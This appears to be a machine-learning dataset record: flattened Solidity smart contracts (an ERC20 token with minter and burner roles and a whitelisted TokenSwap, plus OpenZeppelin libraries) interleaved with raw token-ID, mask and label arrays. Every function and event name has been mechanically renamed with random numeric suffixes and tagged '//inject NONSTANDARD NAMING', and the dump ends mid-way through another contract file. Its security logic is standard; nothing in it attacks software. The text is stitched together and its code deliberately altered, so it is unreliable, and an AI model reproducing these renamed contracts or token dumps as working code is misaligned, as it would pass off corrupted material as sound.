5959,
5621,
203,
3639,
2687,
2098,
1138,
18,
280,
16066,
1138,
1997,
743,
273,
394,
533,
8526,
12,
803,
5959,
18,
1883,
12,
23822,
13,
397,
404,
1769,
203,
3639,
364,
261,
11890,
277,
273,
374,
31,
277,
411,
2687,
2098,
1138,
18,
280,
16066,
1138,
1997,
743,
18,
2469,
31,
277,
27245,
288,
203,
5411,
2687,
2098,
1138,
18,
280,
16066,
1138,
1997,
743,
63,
77,
65,
273,
589,
5959,
18,
4939,
12,
23822,
2934,
10492,
5621,
203,
3639,
289,
203,
3639,
1731,
2
] |
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0-solc-0.7/contracts/utils/EnumerableSet.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _ADD852(Set storage set, bytes32 value) private returns (bool) { //inject NONSTANDARD NAMING
if (!_CONTAINS492(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _REMOVE675(Set storage set, bytes32 value) private returns (bool) { //inject NONSTANDARD NAMING
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _CONTAINS492(Set storage set, bytes32 value) private view returns (bool) { //inject NONSTANDARD NAMING
return set._indexes[value] != 0;
}
function _LENGTH742(Set storage set) private view returns (uint256) { //inject NONSTANDARD NAMING
return set._values.length;
}
function _AT360(Set storage set, uint256 index) private view returns (bytes32) { //inject NONSTANDARD NAMING
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
function ADD146(AddressSet storage set, address value) internal returns (bool) { //inject NONSTANDARD NAMING
return _ADD852(set._inner, bytes32(uint256(value)));
}
function REMOVE620(AddressSet storage set, address value) internal returns (bool) { //inject NONSTANDARD NAMING
return _REMOVE675(set._inner, bytes32(uint256(value)));
}
function CONTAINS72(AddressSet storage set, address value) internal view returns (bool) { //inject NONSTANDARD NAMING
return _CONTAINS492(set._inner, bytes32(uint256(value)));
}
function LENGTH675(AddressSet storage set) internal view returns (uint256) { //inject NONSTANDARD NAMING
return _LENGTH742(set._inner);
}
function AT889(AddressSet storage set, uint256 index) internal view returns (address) { //inject NONSTANDARD NAMING
return address(uint256(_AT360(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function ADD146(UintSet storage set, uint256 value) internal returns (bool) { //inject NONSTANDARD NAMING
return _ADD852(set._inner, bytes32(value));
}
function REMOVE620(UintSet storage set, uint256 value) internal returns (bool) { //inject NONSTANDARD NAMING
return _REMOVE675(set._inner, bytes32(value));
}
function CONTAINS72(UintSet storage set, uint256 value) internal view returns (bool) { //inject NONSTANDARD NAMING
return _CONTAINS492(set._inner, bytes32(value));
}
function LENGTH675(UintSet storage set) internal view returns (uint256) { //inject NONSTANDARD NAMING
return _LENGTH742(set._inner);
}
function AT889(UintSet storage set, uint256 index) internal view returns (uint256) { //inject NONSTANDARD NAMING
return uint256(_AT360(set._inner, index));
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0-solc-0.7/contracts/GSN/Context.sol
//
pragma solidity ^0.7.0;
abstract contract Context {
function _MSGSENDER914() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA708() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0-solc-0.7/contracts/access/AccessControl.sol
//
pragma solidity ^0.7.0;
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant default_admin_role935 = 0x00; //inject NONSTANDARD NAMING
event ROLEADMINCHANGED723(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); //inject NONSTANDARD NAMING
event ROLEGRANTED103(bytes32 indexed role, address indexed account, address indexed sender); //inject NONSTANDARD NAMING
event ROLEREVOKED950(bytes32 indexed role, address indexed account, address indexed sender); //inject NONSTANDARD NAMING
function HASROLE117(bytes32 role, address account) public view returns (bool) { //inject NONSTANDARD NAMING
return _roles[role].members.CONTAINS72(account);
}
function GETROLEMEMBERCOUNT773(bytes32 role) public view returns (uint256) { //inject NONSTANDARD NAMING
return _roles[role].members.LENGTH675();
}
function GETROLEMEMBER894(bytes32 role, uint256 index) public view returns (address) { //inject NONSTANDARD NAMING
return _roles[role].members.AT889(index);
}
function GETROLEADMIN738(bytes32 role) public view returns (bytes32) { //inject NONSTANDARD NAMING
return _roles[role].adminRole;
}
function GRANTROLE962(bytes32 role, address account) public virtual { //inject NONSTANDARD NAMING
require(HASROLE117(_roles[role].adminRole, _MSGSENDER914()), "AccessControl: sender must be an admin to grant");
_GRANTROLE886(role, account);
}
function REVOKEROLE159(bytes32 role, address account) public virtual { //inject NONSTANDARD NAMING
require(HASROLE117(_roles[role].adminRole, _MSGSENDER914()), "AccessControl: sender must be an admin to revoke");
_REVOKEROLE39(role, account);
}
function RENOUNCEROLE17(bytes32 role, address account) public virtual { //inject NONSTANDARD NAMING
require(account == _MSGSENDER914(), "AccessControl: can only renounce roles for self");
_REVOKEROLE39(role, account);
}
function _SETUPROLE488(bytes32 role, address account) internal virtual { //inject NONSTANDARD NAMING
_GRANTROLE886(role, account);
}
function _SETROLEADMIN697(bytes32 role, bytes32 adminRole) internal virtual { //inject NONSTANDARD NAMING
emit ROLEADMINCHANGED723(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _GRANTROLE886(bytes32 role, address account) private { //inject NONSTANDARD NAMING
if (_roles[role].members.ADD146(account)) {
emit ROLEGRANTED103(role, account, _MSGSENDER914());
}
}
function _REVOKEROLE39(bytes32 role, address account) private { //inject NONSTANDARD NAMING
if (_roles[role].members.REMOVE620(account)) {
emit ROLEREVOKED950(role, account, _MSGSENDER914());
}
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0-solc-0.7/contracts/utils/Address.sol
//
pragma solidity ^0.7.0;
library Address {
function ISCONTRACT647(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function SENDVALUE238(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function FUNCTIONCALL669(address target, bytes memory data) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALL669(target, data, "Address: low-level call failed");
}
function FUNCTIONCALL669(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return _FUNCTIONCALLWITHVALUE523(target, data, 0, errorMessage);
}
function FUNCTIONCALLWITHVALUE570(address target, bytes memory data, uint256 value) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALLWITHVALUE570(target, data, value, "Address: low-level call with value failed");
}
function FUNCTIONCALLWITHVALUE570(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
require(address(this).balance >= value, "Address: insufficient balance for call");
return _FUNCTIONCALLWITHVALUE523(target, data, value, errorMessage);
}
function _FUNCTIONCALLWITHVALUE523(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { //inject NONSTANDARD NAMING
require(ISCONTRACT647(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0-solc-0.7/contracts/math/SafeMath.sol
//
pragma solidity ^0.7.0;
library SafeMath {
function ADD146(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB570(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB570(a, b, "SafeMath: subtraction overflow");
}
function SUB570(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL634(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV640(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV640(a, b, "SafeMath: division by zero");
}
function DIV640(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD654(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD654(a, b, "SafeMath: modulo by zero");
}
function MOD654(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0-solc-0.7/contracts/token/ERC20/IERC20.sol
//
pragma solidity ^0.7.0;
interface IERC20 {
function TOTALSUPPLY217() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF756(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER622(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE863(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE47(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM568(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER456(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL815(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0-solc-0.7/contracts/token/ERC20/ERC20.sol
//
pragma solidity ^0.7.0;
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function NAME91() public view returns (string memory) { //inject NONSTANDARD NAMING
return _name;
}
function SYMBOL382() public view returns (string memory) { //inject NONSTANDARD NAMING
return _symbol;
}
function DECIMALS96() public view returns (uint8) { //inject NONSTANDARD NAMING
return _decimals;
}
function TOTALSUPPLY217() public view override returns (uint256) { //inject NONSTANDARD NAMING
return _totalSupply;
}
function BALANCEOF756(address account) public view override returns (uint256) { //inject NONSTANDARD NAMING
return _balances[account];
}
function TRANSFER622(address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER619(_MSGSENDER914(), recipient, amount);
return true;
}
function ALLOWANCE863(address owner, address spender) public view virtual override returns (uint256) { //inject NONSTANDARD NAMING
return _allowances[owner][spender];
}
function APPROVE47(address spender, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_APPROVE737(_MSGSENDER914(), spender, amount);
return true;
}
function TRANSFERFROM568(address sender, address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER619(sender, recipient, amount);
_APPROVE737(sender, _MSGSENDER914(), _allowances[sender][_MSGSENDER914()].SUB570(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function INCREASEALLOWANCE53(address spender, uint256 addedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE737(_MSGSENDER914(), spender, _allowances[_MSGSENDER914()][spender].ADD146(addedValue));
return true;
}
function DECREASEALLOWANCE706(address spender, uint256 subtractedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE737(_MSGSENDER914(), spender, _allowances[_MSGSENDER914()][spender].SUB570(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _TRANSFER619(address sender, address recipient, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_BEFORETOKENTRANSFER428(sender, recipient, amount);
_balances[sender] = _balances[sender].SUB570(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].ADD146(amount);
emit TRANSFER456(sender, recipient, amount);
}
function _MINT727(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: mint to the zero address");
_BEFORETOKENTRANSFER428(address(0), account, amount);
_totalSupply = _totalSupply.ADD146(amount);
_balances[account] = _balances[account].ADD146(amount);
emit TRANSFER456(address(0), account, amount);
}
function _BURN562(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: burn from the zero address");
_BEFORETOKENTRANSFER428(account, address(0), amount);
_balances[account] = _balances[account].SUB570(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.SUB570(amount);
emit TRANSFER456(account, address(0), amount);
}
function _APPROVE737(address owner, address spender, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit APPROVAL815(owner, spender, amount);
}
function _SETUPDECIMALS703(uint8 decimals_) internal { //inject NONSTANDARD NAMING
_decimals = decimals_;
}
function _BEFORETOKENTRANSFER428(address from, address to, uint256 amount) internal virtual { } //inject NONSTANDARD NAMING
}
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
function BURN447(uint256 amount) public virtual { //inject NONSTANDARD NAMING
_BURN562(_MSGSENDER914(), amount);
}
function BURNFROM566(address account, uint256 amount) public virtual { //inject NONSTANDARD NAMING
uint256 decreasedAllowance = ALLOWANCE863(account, _MSGSENDER914()).SUB570(amount, "ERC20: burn amount exceeds allowance");
_APPROVE737(account, _MSGSENDER914(), decreasedAllowance);
_BURN562(account, amount);
}
}
// File: browser/TokenERC20.sol
//
pragma solidity ^0.7;
contract Token is ERC20Burnable, AccessControl {
bytes32 public constant minter_role392 = keccak256("MINTER_ROLE"); //inject NONSTANDARD NAMING
bytes32 public constant burner_role509 = keccak256("BURNER_ROLE"); //inject NONSTANDARD NAMING
constructor (string memory name, string memory symbol) ERC20(name, symbol) {
_SETUPROLE488(default_admin_role935, _MSGSENDER914());
_SETUPROLE488(minter_role392, _MSGSENDER914());
_SETUPROLE488(burner_role509, _MSGSENDER914());
}
function MINT678(address to, uint256 amount) public { //inject NONSTANDARD NAMING
require(HASROLE117(minter_role392, _MSGSENDER914()), "Caller is not a minter");
_MINT727(to, amount);
}
function BURN447(uint256 amount) public override { //inject NONSTANDARD NAMING
require(HASROLE117(burner_role509, _MSGSENDER914()), "Caller is not a burner");
super.BURN447(amount);
}
function BURNFROM566(address account, uint256 amount) public override { //inject NONSTANDARD NAMING
require(HASROLE117(burner_role509, _MSGSENDER914()), "Caller is not a burner");
super.BURNFROM566(account, amount);
}
}
interface IERC20Ops {
function MINT678(address, uint256) external; //inject NONSTANDARD NAMING
function BURNFROM566(address, uint256) external; //inject NONSTANDARD NAMING
function DECIMALS96() external view returns (uint8); //inject NONSTANDARD NAMING
}
contract TokenSwap is AccessControl {
bytes32 public constant whitelisted497 = keccak256("WHITELISTED"); //inject NONSTANDARD NAMING
address public oldToken;
address public newToken;
uint8 public decimalsFactor;
bool public positiveDecimalsFactor;
constructor(address _oldToken, address _newToken){
oldToken = _oldToken;
newToken = _newToken;
uint8 oldTokenDecimals = IERC20Ops(oldToken).DECIMALS96();
uint8 newTokenDecimals = IERC20Ops(newToken).DECIMALS96();
if (newTokenDecimals >= oldTokenDecimals){
decimalsFactor = newTokenDecimals - oldTokenDecimals;
positiveDecimalsFactor = true;
}
else {
decimalsFactor = oldTokenDecimals - newTokenDecimals;
positiveDecimalsFactor = false;
}
_SETUPROLE488(default_admin_role935, _MSGSENDER914());
_SETUPROLE488(whitelisted497, _MSGSENDER914());
}
function WHITELISTED831(address addr) public view returns (bool) { //inject NONSTANDARD NAMING
return HASROLE117(whitelisted497, addr);
}
function WHITELISTADD908(address[] memory addrs) public { //inject NONSTANDARD NAMING
require(HASROLE117(default_admin_role935, _MSGSENDER914()), "Caller is not admin");
for (uint256 i = 0; i < addrs.length; i++){
GRANTROLE962(whitelisted497, addrs[i]);
}
}
function WHITELISTREMOVE906(address[] memory addrs) public { //inject NONSTANDARD NAMING
require(HASROLE117(default_admin_role935, _MSGSENDER914()), "Caller is not admin");
for (uint256 i = 0; i < addrs.length; i++){
REVOKEROLE159(whitelisted497, addrs[i]);
}
}
function SWAP530(uint256 val) public { //inject NONSTANDARD NAMING
require(HASROLE117(whitelisted497, _MSGSENDER914()), "Caller is not whitelisted");
IERC20Ops(oldToken).BURNFROM566(_MSGSENDER914(), val);
if (positiveDecimalsFactor) IERC20Ops(newToken).MINT678(_MSGSENDER914(), val * (10 ** decimalsFactor));
else IERC20Ops(newToken).MINT678(_MSGSENDER914(), val / (10 ** decimalsFactor));
}
} | inject NONSTANDARD NAMING
| function REMOVE620(UintSet storage set, uint256 value) internal returns (bool) { | 5,351,515 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
26056,
26,
3462,
12,
5487,
694,
2502,
444,
16,
2254,
5034,
460,
13,
2713,
1135,
261,
6430,
13,
288,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/122/0x7Fbb9E5aA3E9f813824592fe8AC589E7226704C8/sources/contracts/governance/Governable.sol | * @dev Initializes the contract setting the deployer as the initial Governor./ | constructor() {
_governor = msg.sender;
emit GovernorChanged(address(0), _governor);
}
| 16,367,327 | [
1,
9685,
326,
6835,
3637,
326,
7286,
264,
487,
326,
2172,
611,
1643,
29561,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
1435,
288,
203,
3639,
389,
75,
1643,
29561,
273,
1234,
18,
15330,
31,
203,
3639,
3626,
611,
1643,
29561,
5033,
12,
2867,
12,
20,
3631,
389,
75,
1643,
29561,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
// Sources flattened with hardhat v2.3.3 https://hardhat.org
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
pragma solidity ^0.7.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
